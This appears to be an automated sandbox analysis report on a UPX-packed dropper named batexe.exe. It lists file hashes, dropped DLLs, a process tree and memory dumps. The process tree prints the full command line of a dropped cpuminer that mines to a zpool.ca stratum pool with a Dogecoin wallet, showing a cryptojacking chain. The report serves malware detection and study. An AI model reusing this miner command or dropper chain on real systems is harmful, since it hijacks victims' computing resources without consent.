73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
303s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
19/02/2024, 17:53

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
988	b2e.exe
4532	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4532	cpuminer-sse2.exe
4532	cpuminer-sse2.exe
4532	cpuminer-sse2.exe
4532	cpuminer-sse2.exe
4532	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4960-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4960 wrote to memory of 988	4960	batexe.exe	75
PID 4960 wrote to memory of 988	4960	batexe.exe	75
PID 4960 wrote to memory of 988	4960	batexe.exe	75
PID 988 wrote to memory of 2004	988	b2e.exe	76
PID 988 wrote to memory of 2004	988	b2e.exe	76
PID 988 wrote to memory of 2004	988	b2e.exe	76
PID 2004 wrote to memory of 4532	2004	cmd.exe	79
PID 2004 wrote to memory of 4532	2004	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4960
- C:\Users\Admin\AppData\Local\Temp\CBAC.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\CBAC.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\CBAC.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:988
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\D09E.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2004
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4532

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\CBAC.tmp\b2e.exe

Filesize
10.6MB

MD5
792e52ef34396a37ecce224235dc1c7e

SHA1
2d39fb46d64168aa9bda7bbab92def8774dec3c1

SHA256
b81b0e4b6de0b1a61df878e745bfcd22b5a337a00ae7b96c9cb54c36df120f5f

SHA512
fc93d05afc56730b6a54678fd9cedce8265133c291f069542db7f4a2d7e05452a692837242d8ab6c7d44e98a0ccb2c952af8950a0634b9350f18d98275959f6a

Download Submit
C:\Users\Admin\AppData\Local\Temp\CBAC.tmp\b2e.exe

Filesize
9.6MB

MD5
b040b616665ab19474313141578c5dbb

SHA1
c6a236d60457f620abccc75af2ea06e6ae0afffa

SHA256
859691b8507279e5caa04a02257391e49511fac78eeaff4cc4d110d66df2cc6e

SHA512
44e68b9c9d791ac70140ccf09718a372a25f5d0b973673defab1d9eb6cc83dde46f68f6653eeb5343e73484e6d042c3e56dab14ed000d321da289236cb3f8f65

Download Submit
C:\Users\Admin\AppData\Local\Temp\D09E.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
8.5MB

MD5
3ab9f8670eed27971daae8a3beacc518

SHA1
1dc1721582d1c2c69f67862a90299ed4480eb12e

SHA256
52efdb8e9b2217987ee0441329fc61e5bc5e3b657b36586c7044e06db628cd41

SHA512
14dec4b5ec7bf3e2cb99a299a91fe0a746941e6aa05f78f9685740052a693386f0e9d84486af811f08e1c8fcf44d18679f9a214b9d2666100ee879933f911792

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
12.4MB

MD5
a659235c8d7d39df817db4809dfc1600

SHA1
0bc04cb40f832bca65982db4638df972b7a60403

SHA256
68ded168405f5c08836e92bd6fa03bdf6c885ff6307974180426f3370cfe3e06

SHA512
07e78de2d38ae7fa4094714ae382c25532dc234024c721922e8b3d66b5550df4b25d6c0e46bc1fbbcb6c1958e9cd71c76ae2e24417425ce63e4861610afba7bb

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
12.9MB

MD5
36fc1d14ec2d49bfb805290016fbb90c

SHA1
d1d3086f68ffe9f2bccd3dd3fe4ac419312ba54e

SHA256
a75f96e9e85b4866fd4b942d6b23c36de2351f81390413d364fd8a10efc67cbf

SHA512
62a2eb4077a97634c9d223931fd156dd9a618e2a089e15773c4b7d42c87fdfca2f97e2d2faeaba2da6afcd66b9e4f818558373d4a30429f3203c9a834ecef0dc

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/988-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/988-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4532-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4532-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4532-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4532-43-0x0000000067740000-0x00000000677D8000-memory.dmp

Filesize
608KB

Download
memory/4532-44-0x0000000001110000-0x00000000029C5000-memory.dmp

Filesize
24.7MB

Download
memory/4532-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4532-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4532-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4532-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4532-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4532-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4532-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4960-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download